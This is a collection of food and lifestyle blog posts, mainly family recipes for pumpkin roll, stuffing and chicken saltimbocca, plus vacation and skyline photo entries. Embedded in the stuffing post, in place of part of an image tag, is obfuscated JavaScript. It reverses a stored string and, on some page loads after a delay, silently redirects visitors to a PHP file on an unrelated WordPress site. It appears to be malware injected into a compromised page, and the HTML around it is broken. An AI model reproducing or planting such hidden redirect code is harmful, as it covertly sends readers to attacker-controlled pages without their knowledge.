Years ago (technically, in the last century – yes, I just wrote that and how old do you feel?) when my husband and I first started dating, we would spend our holidays apart, with our respective families.

After Thanksgiving, Dave would always return home with a pumpkin roll that his mother had made.  She made them annually, and part of that tradition included her two children fighting over the leftovers.  To keep the peace, she started making three pumpkin rolls each year: one for the Thanksgiving table, and one that each child could take home with them after the holiday.  (Happily for us, that tradition continues to this day.)

I LOVE this stuff!   It is the perfect “Lori” dessert:  a tad sweet, a tad savory, and a tad spicy.  The perfect balance.

I love to bake, particularly during the holidays – even though I lack a sweet tooth – but I had never made a jelly-roll anything.  My mom was an unbelievable cook, but she didn’t bake, so I couldn’t turn to her for lessons.

Finally, after all of these years, I asked my mother-in-law if she could show me how she made this roll, and when we had some down-time during our last visit, she made one right before my eyes, patiently waiting for me to take pictures as she went along.  The result was a doubly rich one for me:  I now know how to make this myself, AND she sent the roll she made that day home with us.  A true win/win.

I can’t recommend this enough.  Make it once, and it will become a staple on any Thanksgiving table you are lucky enough to share.

Thanks, Mom Florio!

Pumpkin Cream Cheese Roll-Up

pumpkin-roll-1-photo-by-lori-florio-my-slice-of-the-apple

First, the recipe – please click here for a printable version of this recipe – followed by a “how-to” pictorial.

For the Pumpkin Cake:

  • ¾ cup flour
  • 1 teaspoon baking powder
  • 2 teaspoons cinnamon
  • 1 teaspoon pumpkin pie spice
  • ½ teaspoon nutmeg
  • ½ teaspoon salt
  • 3 eggs
  • 1 cup sugar
  • 2/3 cup solid pack pumpkin (NOT pumpkin pie mix)

Preheat the oven to 375⁰.

Grease and flour a 10 x 15 jelly-roll pan and line it with waxed paper.  Grease and flour the waxed paper, and set the pan aside.

Combine the first six ingredients, and set aside.  Beat the eggs and sugar until thick and fluffy; beat in the pumpkin and mix well.  Stir in the dry ingredients, and mix well.  Pour the batter into the prepared pan, and using a spatula, spread the batter out evenly.  Bake the batter for 15 minutes or until the center springs back when lightly touched.

In the meantime, generously dust a large kitchen towel with confectioners sugar.

Now, make the cream cheese filling:

For the Cream Cheese Filling:

  • 1 cup confectioners sugar
  • 8 ounces cream cheese, at room temperature
  • 6 tablespoons butter, at room temperature
  • 1 teaspoon vanilla extract

Beat all ingredients together until very smooth; cover and let stand at room temperature while the cake cools.

Remove the cake from the oven.  Loosen the cake around the edges with a knife and invert the pan onto the confectioner-dusted kitchen towel; peel off the waxed paper.  Slightly fold one end of the towel over the cake, then roll up the cake and the towel together from the short side; place the towel-wrapped cake on a wire rack and cool completely, about 1 ½ hours (maybe a bit longer) until the cake is completely at room temperature.

After the cake has cooled, unroll the cake in the towel and spread the cream cheese mixture evenly over the cake.  Re-roll the cake (without the towel), then wrap tightly in plastic wrap, and again in aluminum foil.  Place the cake in directly in to the freezer and freeze several hours.

Defrost the pumpkin roll in the refrigerator overnight, unwrap, cut off the uneven ends at both ends of the roll (to make it uniform), and dust with confectioners sugar.

Slice into 1 1/2 -inch slices, and serve either cold or at room temperature.

Now, the pictorial!

Make the pumpkin cake:

Preheat the oven to 375⁰.

Grease and flour a 10 x 15 jelly-roll pan and line it with waxed paper.  Grease and flour the waxed paper, and set the pan aside:

pumpkin-roll-2-photo-by-lori-florio-my-slice-of-the-apple

Combine the first six ingredients, and set aside:

pumpkin-roll-4-photo-by-lori-florio-my-slice-of-the-apple

Beat the eggs and sugar until thick and fluffy:

pumpkin-roll-5-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-6-photo-by-lori-florio-my-slice-of-the-apple

Beat in the pumpkin and mix well:

pumpkin-roll-7-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-9-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-10-photo-by-lori-florio-my-slice-of-the-apple

Stir in the dry ingredients…

pumpkin-roll-11-photo-by-lori-florio-my-slice-of-the-apple

and mix well:

pumpkin-roll-12-photo-by-lori-florio-my-slice-of-the-apple

Pour the batter into the prepared pan…

pumpkin-roll-13-photo-by-lori-florio-my-slice-of-the-apple

and, using a spatula, spread the batter out evenly:

pumpkin-roll-15-photo-by-lori-florio-my-slice-of-the-apple

Bake the batter for 15 minutes or until the center springs back when lightly touched:

pumpkin-roll-16-photo-by-lori-florio-my-slice-of-the-apple

In the meantime, generously dust a large kitchen towel with confectioners sugar:

pumpkin-roll-25-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-27-photo-by-lori-florio-my-slice-of-the-apple

Now, make the cream cheese filling!

Beat 6 tablespoons butter…

pumpkin-roll-17-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-18-photo-by-lori-florio-my-slice-of-the-apple

…add 1 teaspoon vanilla extract…

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…1 cup confectioners sugar…

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…1 8-ounce block of cream cheese…

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and beat together until smooth:

pumpkin-roll-24-photo-by-lori-florio-my-slice-of-the-apple

Cover, and set aside at room temperature.

Remove the cake from oven.  Loosen the cake around the edges with a knife and invert the pan onto the confectioner-dusted kitchen towel:

pumpkin-roll-28-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-29-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-30-photo-by-lori-florio-my-slice-of-the-apple

Peel off the waxed paper:

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pumpkin-roll-33-photo-by-lori-florio-my-slice-of-the-apple

Slightly fold one end of the towel over the cake…

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…then roll up the cake and the towel together from the short side:

pumpkin-roll-35-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-36-photo-by-lori-florio-my-slice-of-the-apple

Place the towel-wrapped cake on a wire rack and cool completely, about 1 ½ hours (maybe a bit longer) until the cake is completely at room temperature:

pumpkin-roll-37-photo-by-lori-florio-my-slice-of-the-apple

After the cake has cooled, unroll the cake in the towel…

pumpkin-roll-38-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-39-photo-by-lori-florio-my-slice-of-the-apple

Spread the cream cheese mixture evenly over the cake:

pumpkin-roll-40-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-41-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-42-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-43-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-44-photo-by-lori-florio-my-slice-of-the-apple

Re-roll the cake (without the towel):

pumpkin-roll-45-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-47-photo-by-lori-florio-my-slice-of-the-apple

Then wrap the roll tightly in plastic wrap..

pumpkin-roll-48-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-49-photo-by-lori-florio-my-slice-of-the-apple

Wrap the roll once again in aluminum foil:

pumpkin-roll-51-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-52-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-53-photo-by-lori-florio-my-slice-of-the-apple

pumpkin-roll-54-photo-by-lori-florio-my-slice-of-the-apple

Place the cake directly in to the freezer and freeze several hours.

Defrost the pumpkin roll in the refrigerator overnight, unwrap, cut off the uneven ends at both ends of the roll (to make it uniform), and dust with confectioners sugar.

Slice into 1 1/2-inch slices…

pumpkin-roll-55-photo-by-lori-florio-my-slice-of-the-apple

and serve, either cold or at room temperature.

Thank you, Mom Florio!

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(To print this recipe, right-click on your mouse and click on the “print” option.)

Pumpkin Cream Cheese Roll-Up

For the Pumpkin Cake:

  • ¾ cup flour
  • 1 teaspoon baking powder
  • 2 teaspoons cinnamon
  • 1 teaspoon pumpkin pie spice
  • ½ teaspoon nutmeg
  • ½ teaspoon salt
  • 3 eggs
  • 1 cup sugar
  • 2/3 cup solid pack pumpkin (NOT pumpkin pie mix)

Preheat the oven to 375⁰.

Grease and flour a 10 x 15 jelly-roll pan and line it with waxed paper.  Grease and flour the waxed paper, and set the panaside.

Combine the first six ingredients, and set aside.  Beat the eggs and sugar until thick and fluffy; beat in the pumpkin and mix well.  Stir in the dry ingredients, and mix well.  Pour the batter into the prepared pan, and using a spatula, spread the batter out evenly.  Bake the batter for 15 minutes or until the center springs back when lightly touched.

In the meantime, generously dust a large kitchen towel with confectioners sugar.

Now, make the cream cheese filling.

For the Cream Cheese Filling:

  • 1 cup confectioners sugar
  • 8 ounces cream cheese, at room temperature
  • 6 tablespoons butter, at room temperature
  • 1 teaspoon vanilla extract

Beat all ingredients together until very smooth; cover and let stand at room temperature while the cake cools.

Remove the cake from the oven.  Loosen the cake around the edges with a knife and invert the pan onto the confectioner-dusted kitchen towel; peel off the waxed paper.  Slightly fold one end of the towel over the cake, then roll up the cake and the towel together from the short side; place the towel-wrapped cake on a wire rack and cool completely, about 1 ½ hours (maybe a bit longer) until the cake is completely at room temperature.

After the cake has cooled, unroll the cake in the towel and spread the cream cheese mixture evenly over the cake.  Re-roll the cake (without the towel), then wrap tightly in plastic wrap, and again in aluminum foil.  Place the cake in to the freezer and freeze several hours.

Defrost the pumpkin roll in the refrigerator overnight, unwrap, cut off the uneven ends at both ends of the roll (to make it uniform), and dust with confectioners sugar.

Slice into 1 1/2-inch slices, and serve either cold or at room temperature.

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Since it’s been a while since I posted here on a regular basis, I reviewed my “stats” when I logged on yesterday to post about our vacation.

I noticed that since we are approaching Thanksgiving, many of my previously posted recipes had been opened, and that my mom’s famous sausage and ground beef stuffing (or dressing, if you prefer) had been among the most popular.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Ground-Beef-Dressing-My-Slice-of-the-Apple-Cover-Photo-by-Lori-Florio.jpg” alt=”Sausage and Ground Beef Dressing – My Slice of the Apple Cover Photo by Lori Florio” width=”715″ height=”401″ />

When I opened that post myself, I saw that I had written a nice piece on the history of the recipe, but back then – on November 24, 2013 – I directed you to my then-Examiner page for the recipe.

If you recall from one of my earlier posts this year, Examiner.com no longer exists, and therefore there was no longer access to the printed recipe.

Because it is one of my favorite parts of my favorite holiday, I am re-posting this fabulous recipe and I hope that if you have not already made this, you will do so.  It’s a winner!

Click here for the original post from November 24, 2013, then click here for a printable version of the recipe.

Bring on Thanksgiving!!!

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(To print this recipe, “right-click” on your mouse, and click on “print”.)

Mom’s Sausage and Ground Beef Stuffing (or “Dressing”)

  • 3 – 4 tablespoons olive oil, enough to coat the bottom of a large skillet
  • 1 large onion, diced
  • 3 – 4 cloves garlic, minced
  • 3 ribs celery, diced
  • 1 pound lean ground beef
  • 1 pound bulk sausage (such as Jones or Jimmy Dean)
  • 2 cans (or 3 cups) chicken broth
  • 2 cups cooked rice
  • 2 – 3 cups herb seasoned stuffing mix (such as Pepperidge Farm)
  • ½ – 1 cup freshly grated Parmesan cheese (to taste)

Coat the bottom of a large, deep skillet with the olive oil and place it over medium heat.  Add the onions and the celery and sauté until translucent, about 5 minutes.  Add the garlic, mix well, and sauté for another minute or two.

Add in the beef and sausage, breaking the meat up with a wooden spoon or spatula as it cooks, and cook the meat until it is no longer pink.

Add the chicken stock to the mixture, then add in the cooked rice and mix well.

Add the stuffing mix 1 cup at a time, stirring well to combine after each addition.  (If the mixture has thickened nicely and is still moist after adding 2 cups of the stuffing mix, you can stop there.  If the mixture is still very wet, add in the additional cup of stuffing mix a little at a time until thick but still moist.)

Add in the grated cheese, and mix well.

At this point, the dressing is fully cooked and ready to be transferred to a lightly greased casserole dish and heated through in a 350 ⁰ oven for 20 – 30 minutes, until the top of the dressing is golden brown. (Alternatively, if the dressing is made earlier in the day, transfer it to a slow cooker set at “warm”, cover the slow cooker, and transfer the dressing to the casserole dish when you are ready to place it in the oven.)

Serve hot.  This recipe serves 10 – 12 as a side dish.

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Because of a combination of jet lag and rain, I was unable to see that fabulous “Supermoon” first-hand these past few days.

But this morning…

supermoon-a-day-late-photo-by-lori-florio-my-slice-of-the-apple

…at 6:20, this is what I pulled the shades to see.

Now, granted, there have been hundreds of thousands of breathtaking pictures of the Supermoon proper – spectacular pictures, really – but what struck me by this view is that the moon cast its own light on the river, vying with the reflection of the morning sun off of the buildings across the way.

Even a day late, I was impressed.

I’ve noted in my calendar that the next “Supermoon” will take place on November 25, 2034.  I wonder from which vantage point I’ll view it then…

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Hold on to your hats: we actually took a vacation this year!

You read that right:  after a pulverized limb, the death of a parent, a serious illness, and the death of a dear, dear friend – all of which led us to cancel a total of FOUR planned vacations – we finally held our breaths and re-scheduled the last one for earlier this month.

We needed it.  I can’t even begin to tell you how much.  And we were lucky: it actually happened!

This was the longest vacation for us since our honeymoon, and we had originally scheduled for it to happen on our 20th Anniversary, last month.  That was not meant to be, but happily the rescheduling of the trip a month later made for a much better itinerary, so off we went.

I was grateful for many things: no recent deaths or serious illness among us this time; I could walk the city like a normal person; we were spending a substantial amount of time away; we were comfortably in a different time zone.  The weekend we left, the States set the clocks back an hour so our time difference became a blissful 6 hours ahead.  It might as well have been light years ahead, that’s how out-of-the-loop we felt.

We have been planning and planning this trip for years, to lovely LOVELY Spain.  You take a man with a love of urban planning and architecture, a woman in love with good food and people, two immensely tired souls that needed re-charging in a big way, send them off to Spain, and, well, you’ll get pretty great results. We are perfect examples of that.  The batteries are most definitely re-charged.

I’m posting pictures, but not too many.  Lord knows I’ve been the victim of “let’s relive our wonderful vacation day-by-day” sessions myself enough: I’m not about to do that to you.

But I will give you a peek of spectacular Barcelona as seen through our hotel room:

barcelona-1-photo-by-lori-florio-my-slice-of-the-apple

I’ve been to Barcelona before – on business, 20 years ago – and I knew this particular hotel offered both city views and ocean views.  I requested “city” so we could take in the scope of it.

Look straight ahead down the center of this picture, and you can see Barcelona’s most spectacular sight, The Basilica of The Sagrada Familia.

barcelona-2-photo-by-lori-florio-my-slice-of-the-apple

Looking a little closer, you can begin to make out the shape of the magnificent structure:

barcelona-3-photo-by-lori-florio-my-slice-of-the-apple

The construction of this basilica began in 1882, and the targeted year of completion is 2026.

Looking closer still:

barcelona-4-photo-by-lori-florio-my-slice-of-the-apple

Dave and I took a tour of the basilica the next day, but for that day – the day of our arrival – we just wanted to get a look of the land.  So, apparently, did the workmen on a scaffold outside our window:

barcelona-5-photo-by-lori-florio-my-slice-of-the-apple

barcelona-6-photo-by-lori-florio-my-slice-of-the-apple

Oops!  BUSTED!  (How do you say that in Spanish?)

Anyway, back to work!

barcelona-7-photo-by-lori-florio-my-slice-of-the-apple

Although Dave was tickled with the view, he was sorry I didn’t opt for an ocean view.  “We live on a river,” I said. I see water all day long.  Plus, when I looked out of the side window of our hotel room, I could see the sea:

barcelona-8-photo-by-lori-florio-my-slice-of-the-apple

That’s the W Hotel out there, shaped like a sail.

barcelona-9-photo-by-lori-florio-my-slice-of-the-apple

And looking closer, I could see people enjoying the beach, even in early November:

barcelona-10-photo-by-lori-florio-my-slice-of-the-apple

barcelona-11-photo-by-lori-florio-my-slice-of-the-apple

We took in a fun tour of the city that afternoon and came back to our hotel at dusk, when we still had time to take in the sight of the incredible golden fish (“El Peix”) designed by Frank Gehry for the 1992 Olympics hosted by Barcelona.

barcelona-13-photo-by-lori-florio-my-slice-of-the-apple

barcelona-14-photo-by-lori-florio-my-slice-of-the-apple

barcelona-15-photo-by-lori-florio-my-slice-of-the-apple

It is breathtaking!  But after taking this shot at the end of a long day, it was time to go inside and make friends with the bartender.

He was a nice guy.

Ahhh…vacation!

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I’ve lived in this apartment for over 18 years, and there are still some days when I look across the river and something stops me in my tracks.

This is what stopped me about 7:30 this morning:

dawn-1-on-october-25-2016-photo-by-lori-florio-my-slice-of-the-apple

Autumn is kicking in (after a brief dance with the memories of mid-summer last week), and my guess is that Mother Nature wanted the sun to mirror – however briefly – the trees down in the park as they begin to change colors.

dawn-2-on-october-25-2016-photo-by-lori-florio-my-slice-of-the-apple

So she gave us this golden view to savor for just a few minutes…

dawn-2-on-october-25-2016-photo-by-lori-florio-my-slice-of-the-apple

…before the sun rose higher and the colors faded, leaving the city in its everyday majesty.

It was a fine way to start the day.

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chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

Recipe and Photos ©Lori Florio
(Previously posted in August, 2013)

[A link to a printable version of this recipe can be found at the bottom of this post]
The word “saltimbocca” translates from Italian to mean “jump in the mouth”, and each saltimbocca dish – whether it is made with veal or chicken – does just that.  The combination of flavors from the meat, the herbs (fresh sage is usually included), and prosciutto is remarkable; mouths are always happy in that company.

Classic saltimbocca is usually made by pounding the meat until it is very thin, dressing it with a fresh sage leaf, covering it with a layer of prosciutto (secured with a toothpick or two), dusting it in flour, and searing it in an oil-lined skillet until the meat is just cooked through.  The result is wonderful, though I tend to like this dish a bit more on the substantial side.

The following recipe calls for boneless, skinless chicken breasts that are NOT pounded, but left in their usual state.  Sage is substituted with fresh basil – so abundant now – and the lovely, salty taste of the prosciutto is paired with the mellow tartness of provolone cheese.  Forget the stovetop for this recipe:  bathe the wrapped chicken in a luscious mixture of chicken broth and white wine, and bake the breasts in the oven for half an hour or so.  Afterwards, the liquids will have not only flavored the meats but will have taken on the taste of them, reduced beautifully, and can be used as a fabulous sauce on the finished product.

Serve this dish with roasted asparagus and pasta dressed with a golden tomato pan-sauce for a plate that will dazzle the eyes.  After all, why should mouths have all the fun?

[NOTE:  The slideshow that accompanies this article shows 3 pieces of saltimbocca; the recipe below is for 6 pieces, but can be halved.]


Oven Baked Chicken Saltimbocca

  • 6 large boneless, skinless chicken breast halves
  • 12 large fresh basil leaves
  • 6 ounces thickly sliced provolone cheese
  • 6 ounces thinly sliced prosciutto
  • 1 cup chicken broth (or more if needed)
  • 1 cup dry white wine such as Pinot Grigio (or more if needed)

Preheat the oven to 375⁰.

Place 2 basil leaves on each chicken breast:

1-chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

2-chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

Cover the leaves with one slice of provolone cheese:

3-chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

Using two slices of prosciutto, wrap each chicken breast until the chicken is completely covered:

4-chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

5-chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

Place the wrapped chicken breasts in a single layer onto a baking dish:

6-chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

Evenly pour the chicken broth and the wine over the chicken, using enough liquid so that the chicken is halfway submerged:

7-chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

8-chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

(You may need more than 1 cup of each liquid, depending on the size of your baking dish.)

Bake the chicken, uncovered, for 25 – 30 minutes, until the prosciutto is crispy and the liquid has reduced by half:

9-chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

10-chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

Serve immediately, spooning the remaining baking liquid over the chicken as a sauce:

chicken-saltimbocca-photo-by-lori-florio-my-slice-of-the-apple

Serves 6.

Click here for a printable version of this recipe.

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[To print this recipe, right-click on your mouse, and select the “print” option.]

Oven Baked Chicken Saltimbocca

  • 6 large boneless, skinless chicken breast halves
  • 12 large fresh basil leaves
  • 6 ounces thickly sliced provolone cheese
  • 6 ounces thinly sliced prosciutto
  • 1 cup chicken broth (or more if needed)
  • 1 cup dry white wine such as Pinot Grigio (or more if needed)

Preheat the oven to 375⁰.

Place 2 basil leaves on each chicken breast.  Cover the leaves with one slice of provolone cheese.  Using two slices of prosciutto, wrap each chicken breast until the chicken is completely covered.  Place the wrapped chicken breasts in a single layer onto a baking dish.

Evenly pour the chicken broth and the wine over the chicken, using enough liquid so that the chicken is halfway submerged.  (You may need more than 1 cup of each liquid, depending on the size of your baking dish.)

Bake the chicken, uncovered, for 25 – 30 minutes, until the prosciutto is crispy and the liquid has reduced by half.

Serve immediately, spooning the remaining baking liquid over the chicken as a sauce.

Serves 6.

©Lori Florio

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I used to be the New York Italian Food Examiner for Examiner.com.

When I write “used to be”, I mean used to be.

Once, mid-way through my recent recovery (which was far too long, by the way), I checked into my Examiner account and found that I was no longer an “eligible” Examiner due to the fact that I had not contributed articles to the site in a while.  I suppose a few of my former Examiner.com colleagues had succumbed to the same fate I had, due to all sorts of reasons life can toss at us, but no matter: I found my “ineligible” status rather irritating.

annoyed-emoji

(I refrained from using another emoji I found on the web that was accompanied by a single-digit salute, preferring instead to take the high ground in this regard.)

I had more urgent matters to focus on at the time, so I didn’t kick up a fuss (I couldn’t anyway, as I had only one working foot back then) and let the issue go.  Although I could no longer contribute to the site, the recipes I had contributed up to that point were still available to Examiner.com readers, and that meant the links to Examiner that I had attached to some of the recipes I posted here were, in turn, still visible and printable to my readers.  I was happy about that.

Then I received a message from one of my “My Slice of The Apple” readers late in August inquiring as to why, when she tried to access one of my recipes on Examiner.com, the link took her to another site.

I found this curious, so I went into Examiner to check my page, and learned that the entire Examiner.com website was gone.  Upon further investigating, I learned that Examiner.com had been purchased by axs.com (where readers were immediately re-directed), and had subsequently been shut down.  All of the recipes I had previously posted – along with those of my colleagues at Examiner – were gone.

Gone but not lost!  I’m a self-described pack-rat and therefore still had, in one form or another, nearly every recipe I had posted.  Either on my lap-top, on a disc or two, or on multiple flash drives and newspaper articles, my recipes and photos had been stashed away.

All of that being said, I will begin posting those previously published Examiner.com recipes here, along with previously published pictures that accompanied those articles.

This turn of events actually helps me out a bit, as trying to organize my life back into the “pre-injury” state it had been in the latter part of last year has proven to be more of a challenge than I expected.  Having previously-published-but-no-longer-available-on-the-internet recipes at my fingertips will some in handy on those days when time gets away from me due to organizational needs (more often than I’d like to admit), and I can post a bit more easily here.

All’s well that ends well, I suppose.

Anyway, the first recipe – the one my reader Kazy had contacted me of – is for my version of Chicken Saltimbocca, and you’ll see it here later today.  Today, at least, time is on my side!

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